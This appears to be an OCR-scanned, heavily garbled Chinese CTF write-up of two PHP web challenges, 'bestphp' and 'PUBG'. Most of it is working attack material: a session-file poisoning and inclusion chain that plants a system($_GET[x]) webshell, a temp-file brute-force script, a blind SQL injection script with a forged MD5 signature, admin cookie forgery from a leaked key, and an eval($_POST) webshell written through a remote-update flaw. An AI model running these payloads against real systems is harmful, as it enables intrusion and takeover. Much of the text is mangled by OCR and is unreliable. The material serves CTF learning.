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index.php

highlight_file(__FILE_);

error_reporting(0);

ini_set('open_basedir', '/var/www/html:/tmp");

$file = 'function.php';

$func = isset($_GET['function)?$_GET['function']:"filters";
call_user_func($func,$_GET);

include($file);

session_start();

$ SESSION['name'] = $_POST['name’];
if($_SESSION['name]=="admin’){

header('location:admin.php");

}
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Mindex.phpa] LAE i $_GET['function] #1 $_SESSION['name’] = $_POST['name"] 7]

Hrb call_user_func($func,$_GET); [/ & % 7] #) F

i H include($file); @ 7 X484
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payload:
http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
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function.php

function filters($data){
foreach($data as $key=>%value){
if(preg_match('/eval| assert| exec| passthru| glob|system| popen/i', $value) {
die('Do not hack me!");

}

}

}

?>

admin.php

hello admin
iflempty($_SESSION['name])){
session_start();

#echo 'hello ' + $ SESSION['name;
elsef{

die('you must login with admin’);

}

?7>
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Mindex.phpr] LAE H $ SESSION['name’] =$ POST[name'], sessionfI{E A%, session®RikKI{RIEALE
Ivar/lib/php/sess PHPSESSID

Ivar/lib/php/sessions/sess PHPSESSID

Ivar/lib/php5/sess PHPSESSID

Ivar/lib/php5/sessions/sess PHPSESSID

/tmp/sess PHPSESSID

/tmp/sessions/sess PHPSESSID
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s Hh (¥ payload:

POST /xctf-bestphp/index.php?function=session_start&save path=. HTTP/1.1
Host: 127.0.0.01

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 21

Cookie: PHPSESSID=Ifc5ukOrv8ndmjfv86u9tvefk2

Content-Type: application/x-www-form-urlencoded

name=<?php phpinfo();

[ ] e | e | s | | | sncncs [ e [0 |
BOST el hpindexongit 1 1 ave_pgih s HITF/LT & | HTIP/1.1 200 OK

O
Doae: Thu, 4 N 2008 173450 GAT

90 Geckn/ 20160701 Firefowa. Server Apache/2 423 (WiniE) OpentS 02 med kgid2 39
o908 D [ v | sahbeingbe
F i ]
4+ - VW bl o
mas * e
+ T .
- & i
e me & fumion php
spplE B gethlephe
[~ 1 bewbaby & indenghp
oD el ERD WSy el &wy 4Ro TE) dagd & eiipbp
T T T I L TIEC I e T \JF‘*"‘"""“'
S| M| N e e po
T mame|s:l6:=<7php phpinfo():=r I ralirfes  wenpte
= A & izpte
s . —
30me X B B B:itisession’s £ T webiR H %,
HHHNEE

XA session, getshell
http://10.99.99.16/index.php?function=extract&file=./sess_Ifc5ukOrv8ndmjfv86u9tvefk2
btk 38 payload

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1

Host: 10.99.99.16

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=a%tvfth9lfgabt9us85t3b07s1

Upgrade-Insecure-Requests: 1



Content-Type: application/x-www-form-urlencoded
Content-Length: 41
name=<?php echo "aaa";system($_GET[x]);?>

GET /index.php?
function=extract&file=/tmp/sess_aStvfth9lfqabt9us85t3b07s18&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php
HTTP/1.1

Host: 10.99.99.16

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=a%tvfth9lfqabtOus85t3b07s1

Upgrade-Insecure-Requests: 1

filt R R g —

php7.0fbug

& php 781—A~~bug
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

string.strip_tags 7' LA §: B php7 7E $i47 i 72 H FF

W RER A R AFE — A3 EARRIER , XA 28 R A FF B ARAFAE /tmp/php X000 (OO #
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POST /index.php?function=extract&file=php://filter/string.strip_tags/resource=function.php HTTP/1.1

Host: 10.99.99.16

Content-Length: 1701

Cache-Control: max-age=0

Origin: null

Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeScXqSzdW2v22xyk

User-Agent: Moxzilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebK:it/537.36 (KHTML, like Gecko)
Chrome/69.0.3497.100 Safari/537.36



Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=17qgpuv1r8g19pm503593nddq10
Connection: close

------ WebKitFormBoundaryeScXqSzdW2v22xyk
Content-Disposition: form-data; name="fileUpload"; filename="test.jpg"
Content-Type: image/jpeg

------ WebKitFormBoundaryeScXqSzdW2v22xyk--
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#!/usr/bin/env python

# -*- coding: utf-8 -*-

import requests

import string

charset = string.digits + string.letters

host = "10.99.99.16"

port = 80

base_url = "http://%s:%d" % (host, port)

def brute_force_tmp_files():

for i in charset:

for j in charset:

for k in charset:

for I in charset:

for min charset:

for n in charset:

flename=i+j+k+l+m+n

url = "%s/index.php?function=extract&file=/tmp/php%s" % (
base_url, filename)

print url

try:

response = requests.get(url)



if 'wwwwwwwwwwwwww!' in response.content:
print "[+] Include success!"
return True

except Exception as e:
print e

return False

def main():
brute_force tmp _files()

if _name__ =="_ main

main()

getshell

BRI G, 193 BT XA & Kishell
http://10.99.99.16/index.php?function=extract&file=/tmp/phpX>XXXX
WEB2——PUBG

WIEIRER, LB BEE Fhost 159.138.22.212 guaika.txmeili.com

X TE L SR BB R I IRTREE 2 . sqliE A\ +cookiethi&+)5 & getshell
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sqliEAN

RIGHLF kss_inc/payapi_return2.php
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else if ($_obfuscate kYyPkY_PkJKVh4qGjJGlio4 € == "e138")

{

$_obfuscate_kpGPh4mNh46SkZONh4elLlJU€ = ";
$_obfuscate_k42NkY2RkoiNjJCKIZSKilg® = trim( $_POST['SerialNo" );
$_obfuscate_iJWM;liVI5OGjJOViY2Li48€ = $_obfuscate_k42NkY2RkoiNjJCKIZSKilg€;
$_obfuscate_iluQkYaUiogGlI6ljluMil8€ = trim( $_POST['Status'] );
$_obfuscate_jpGJk5SSkJOIk4iQil_ OhpU@ = trim( $_POST['Money] );
$_obfuscate_IluQk50GjpKVjY6Uil_QjJM® = $_obfuscate_jpGJk5SSkJOIk4iQil OhpU€;
$_obfuscate_ilmJjYmQjYyOjluVkluMjls€ = trim( $_POST['VerifyString" );

VerifyString f 1 5 3 U



else if ($_obfuscate_kYyPkY_ PkJKVh4qGjJGlio4 € == "e138")
{
$_obfuscate k4mJh5SPkY6Vh4gHjlaJh44 € = TRUE;

if ($_obfuscate_ilmJjYmQjYyOjluVkluMijls € != strtolower( md5(

"SerialNo=".$_obfuscate k42NkY2RkoiNjJCKIZSKilg® ."&UserlD=".$_obfuscate jl2JIY_QkoeQj50LjouLIYo @[
)))
<

I | 3

{
$_obfuscate_k4mJh5SPkY6Vh4qHjlaJh44€ = FALSE;

}

K A ¥ B T AttachString=e138

FiibA $_obfuscate jl2JIY QkoeQj50LjoullYo@['e138set] 1 41 Fr A VerifyString )& A
strtolower(md5('SerialNo=1&UserlD=1&Money=100&Status=1&AttachString=e138&MerchantKey=1"))
B ~ebd95c4233e8c02fe0854306afd7 1bee

EHEERIMNREZESHEMLR BBk T, FANLEIEVerifyString, T2 5tk iESerialNofiMoney 24
& R SqE N ARG I T -

$_obfuscate 1ZGQj4iOj4mTIZGNZGU]5E€ = $_obfuscate_jlaUileSjZWKIIgLklgOioc© -
> obfuscate iY60OkJCRkY2PjpCPk5CRkJA® ( "select * from kss_tb_order where
ordernum=".$_obfuscate iJWM,;liVi5OGjJOViY2Li48€." );

payload:
¥\ £ SerialNo

SerialNo=0'or(0)#&UserlD=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd9t

4 | 1 | 3

SerialNo=1'or(1)#&UserlD=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd9t

< | i | b

httpe/quaiks tomeilicom:BEEA ks, irc/payapi_return.php
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if (empty( $_obfuscate_liqUllaMj4aNjJCRkoeJIJE® ) )

{

$_obfuscate h5SQiYyTkY_ PjYmRjZWPh4k€® = $ obfuscate_jlaUileSjZWKIIgLklgOioc€ -
> obfuscate iY6OkJCRKkY2PjpCPk5CRkJA® ( "select * from kss_tb_manager where id=1");

if ($_obfuscate_llqUllaMj4aNjJCRkoeJIJE€ = md5(
$ obfuscate h5SQiYyTkY_ PjYmRjZWPh4k®['username'l.$_obfuscate h5SQiYyTkY PjYmRjZWPh4k€['pass

))

[ [T | 3

{
_obfuscate_kYyOhouLjo2Gh4eNj4iQllg® ( "#ik i R 46 & 336 =M ! " );

}

$_obfuscate II60iJSPjZWVi5GQhoiPjpU@|level] = 9;
$_obfuscate_lI6OIJSPjZWVi5GQhoiPjpU € ['powerlist’] = "admin”;
}

F 4 % kss_tb_manager, FBRusernameflpassword, id#21
HEANBA aye.py

#! coding:utf-8

import requests

import sys

if sys.getdefaultencoding() != 'utf-8"

reload(sys)

sys.setdefaultencoding('utf-8')

def main():

url="http://guaika.txmeili.com:8888/kss_inc/payapi_return2.php"



chars = 'abcdefghijklmnopgrstuvwxyz 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ=+-*/{\}?!:@#$%&()

..

result="

for i in range(1,1000):
i =str(i)

for j in chars:

j=ord(j)

#SerialNo=0'or(1)#&UserlD=1&Money=100&Status=1&AttachString=e 138&MerchantKey=1&VerifyString=ebd¢

< m

payload =

3

""0'or(ascii(substr((select(concat(username,0x3a,password))from(kss_tb_manager)where(id=1)),%s,1))=%s)#"

LLLJ

Q)

| 3

data = {'SerialNo'": payload,
'UserlD' : 1,

'‘Money' : 100,

'Status': 1,

'AttachString' : 'e138',
'‘MerchantKey': 1,
"VerifyString' : 'ebd95c4233e8c02fe0854306afd71bee’,
}

#print payload

do_whlie = True

while do_whlie:

try:
r=requests.post(url,data=data)
if r.status_code == 200:
do_whlie = False

except Exception as e:

print str(e)

#print r.text

if VT EESHARF in r.text:

result += chr(j)



#print r.text

print result
if _name__ =="_main__"
main()
.txmeili.com', port=8888): M
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axing147258
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:~/tmp/test# echo -n "axingl47258" | md5sum
839a -

:~/tmp/test#
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sqlmap -r burp.txt -p SerialNo --dbms mysq| --risk 3 --level 5 --string="i] . &#AFF" --technique B



POST /kss_inc/payapi_return2.php HTTP/1.1

Host: guaika.txmeili.com:8888

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 123

SerialNo=0&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233

4 1 | r

cookieth it
RAGHLFkss_inc/function.php
H setcookie_function(f & ZLipHiZ i8)

function _obfuscate jZKVIY6HkYmKKIyRj4qSjlc ( $_obfuscate_iYyTho HIJCOh4yRj4ePjdk @,
$_obfuscate_ipCJIJOSIJSQKYgNIYgKIIs€ )

{

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePj4k®, $ obfuscate ipCJIJOSIJSQkYgNIYgKIIls€, 0, /",
NULL, NULL, TRUE );

if (BINDIP == 1)
{

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePj4k®." ver", md5(
$_obfuscate_ipCJIJOSIJSQkYgNIYgKIls€ .COOKKEY._obfuscate jZKKjpCGkZSUj4aOilePIZI€()), 0, "/",
NULL, NULL, TRUE );

}

else

{

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePj4k®." ver", md5(
$_obfuscate ipCJIIJOSIJSQkYgNIYqKIls€.COOKKEY ), 0, "/, NULL, NULL, TRUE );

}
return $_obfuscate ipCJIJOSIJSQkYgNIYqKlls€.COOKKEY;

Y
iz Fkss_admin/index.php



W F T setcookie_function
_obfuscate jZKVIY6HKYmKKkIyRj4qSjlc€ ( "kss_manager", $_obfuscate i4qGi5WLhoqPkoyGkoiMhpU € );

$_obfuscate_jlaUileSjZWKIIgLklgOioc®->_obfuscate kpSOj5KVio2Hj4uKj4 KijlY € ( "update kss_tb _manager
set

‘linecode’=".$_obfuscate kI6PjYmLhpGMk4qGjZSHIlg®.", lastlogintime ="._obfuscate jZGJkpOSKY HiY2Hj
).", lastloginip’=".$_obfuscate kYmJjZOlizKJiogqMkoaGiYk® ." where
‘id"=".$_obfuscate_kY_OlYeUlliVjo6Hio_Mkpl®['id, "notsync" );

4 | I 3

$_obfuscate i4mRjZCJIZCGk4_UioyHk4k @ ['logintype’] = 1;
_obfuscate jYuKk4uOiYmSkpOTj5GUIZA€ ( $_obfuscate i4mRjZCJIZCGk4 _UioyHk4k € );

$_obfuscate_i4qGi5WLhogPkoyGkoiMhpU€ =
$_obfuscate kY_OlYeUlliVjo6Hio_Mkpl@[id.",".$_obfuscate h4eSk4uGiZCKhoyNkIiTII8€.",".md5(
$_obfuscate jZOIiliJkJOGIY_ KjoaGh4c® ).",".$ obfuscate kI6PjYmLhpGMk4qGjZSHIIg®;

_obfuscate jZKMIY6HKYmKKkIyRj4qSjlc€ ( "kss_manager", $_obfuscate i4qGi5WLhogPkoyGkoiMhpU € );
HEmAMAT
setcookie_function( "kss_manager",$id.",".$username.",".md5($password).",".$linecode"

R 5 AT B A)setcookie, 78 Flkss managerflkss_manager verf§“i~cookie

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePj4k®, $ obfuscate ipCJIJOSIJSQkYgNIYqKIIls€, 0, /",
NULL, NULL, TRUE );

setcookie( $_obfuscate iYyTho HIJCOh4yRj4ePjdk®." ver", md5(
$_obfuscate_ipCJIJOSIJSQkYqNIYqKIls€.COOKKEY ), 0, "/", NULL, NULL, TRUE )

F BH7E kss_inc/_config.php#k 2ISCOOKKEYH{& XipCcfoe y43
define( "COOKKEY", "XIpCcfoe_y43" );

define( "COOKKEY2", "MGHOu2m|oXDz" );

7 kss_inc/db_function.php

3 T $linecodeff11H efefefef

if ( $_obfuscate_|160iJSPjZWVi5GQhoiPjpU®[linecode’] != $ obfuscate _h4 NjYili46Lh5KHkoaKkZQ€[3] &&
"efefefef" 1= §_obfuscate h4 NjYili4d6Lh5KHkoaKkZQ€ [3] &&
$_obfuscate_II60iJSPjZWVi5GQhoiPjpU@['username’] != "test01" )

{

_obfuscate_kYyOhouLjo2Gh4eNj4iQlig® ( "E RIS 8 Tk, &= gr");
}

Bt LA 35 4 A 3 4~ cookie fr 48t B 43 5l /&

kss_manager

1,axing,8ccf03839a8c63a3a9de17fabac6a192,efefefef


file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/index.php

kss_manager_ver
md5("1,axing,8ccf03839a8c63a3a9de17fabac6a192,efefefef"."XlpCcfoe_y43")
IS}
md5("1,axing,8ccf03839a8c63a3a9de17fabac6a192,efefefefXipCcfoe y43")
b

b05a94ffch3da369a828235012990953

Bt i&cookie, iiAl kss_admin/admin.php

Response
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R HLF kss_admin/admin_update
XA BT, S M i 3 sl L BUARAD B\ A Hi:

$_obfuscate koiKkliPjlUkYeRIlgNhoc® = obfuscate [Y6GkSKMKYmPjlyPhpCOIYc€ (
"http://api.hphu.comvimport/".$_obfuscate koaSiYqGjlgMiZSLk4uGiZU @ .".php?
phpver=".PHP_VERSION."&webid="WEBID."&rid=".time( ), 300 );

BATFWA _obfuscate |Y6GKSKMKYmPjlyPhpCOIYc® %k

AT 52017, ERBPA curl il KK

curl_setopt( $_obfuscate_joiNh4alhouViZGQho_Jil4€, CURLOPT_HEADERFUNCTION, "read_header" );
curl_setopt( $_obfuscate joiNh4alhouViZGQho_Jil4€, CURLOPT_WRITEFUNCTION, "read body" );

% TFread_body&

function read_body( $_obfuscate_joiNh4alhouViZGQho_Jil4€, $_obfuscate jJWMiJWJjoylkYmLjY6VipM€ )



{
global $_obfuscate ko6MhoiQkJKRIYeVio JjYo®;

global $ obfuscate j4eNjZOQIlluKhogMj4mQjYs®;
global $ obfuscate koaSiYqGjlgMiZSLk4uGiZU @ ;

if ($_obfuscate_ko6MhoiQkJKRIYeVio JjYo® == 0 && substr( $_obfuscate jJWMiJWJjoylkYmLjY6VipM @,
0,2)=="

{

$_obfuscate j4eNjZOQlluKhogMj4mOjYs€ = 0;

}

$_obfuscate_ko6MhoiQkJKRIYeVio_JjYo® += strlen( $_obfuscate jJWMiJWJjoylkYmLjYEVipM@ );

file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR." webup.php",
$_obfuscate jJWMiJWJjoylkYmLjY6VipM€, FILE_APPEND );

echo™;

echo "\r\n";

ob_flush();

flush();

return strlen( $_obfuscate jJWMiJWJjoylkYmLjY6VipM € );

}

Hrfread_body ki # < curl 2| ) N 5 5 2 kss_tool/_webup.php

file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR." webup.php",
$_obfuscate jJWMiJWJjoylkYmLjY6VipM€, FILE_APPEND );

XEIRATAT DA AR )sqlid 8 8%, ik EANTH K sqlikes, AphpREBEE, AEERRBESA
kss_tool/ _webup.php, #i&webshell

%l F:
W i&Esql#i s I Bl &

http://api.hphu.com/test/kss_admin/index.php?action=aye666%27

MySQL injection:g,action,aye666'

418 B8 BT B A5
W34S I TUTH I & 5\ kss_tool/_webup.php



http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?
action=aye666%27

0 guaika.temedllcom:BAAE ks admin/admin update.phpipakname=. /test/kss admin/index.phplaction=ayes66'

MEERSHFEF R, RRERS http://userhphu.com FRFHR:

Fh: 80 Byte
SR 50 Byte
EETHEETORE N

injection:g,action,aye666’.php?phpver=5.2.17

fih % phpinfo

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?
action="'<?php %2520phpinfo();?>

i cB888/kss_admin/admin_update.php?pakname=4]

MFESEENTEFEa=N, FRERNE hitp://userhphu.com FRFHR:

CWESETERSEH, Fuserhphu.comBITE RNRE
FHREtoh: 92 Byte

ST 92

FEaTERE, FERTRROTHREEN:

MySQL injection:g,action,’

(Windows NT ECS-706C 6.1 build 7601

Bulld Date Jan 6 2011 17:26:08

m ﬂm —. ; . bl _'-‘ asld® *

Command *-with-snapshot-ternplate =d\php-sdkisnap_5_Mvcb\xBf\template” *--with-
php-build=dA\php-sdkisnap_5_2wofaBBiphp build” *--with-pda-od=0nphe-
dkhorache) dk shared” *--with-oci8 =D-\php-sdk\oracle

shared® *--without-pidweb”

Server AP| | CGI/FastOGI

Virtual Directory | enabled

Support _—

Configuration File | C-\Windows Va3

(php.ini) Path

Hshell

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?
action='<?php %2520eval($_POST[aye]);ech0%2520"aye666"?>
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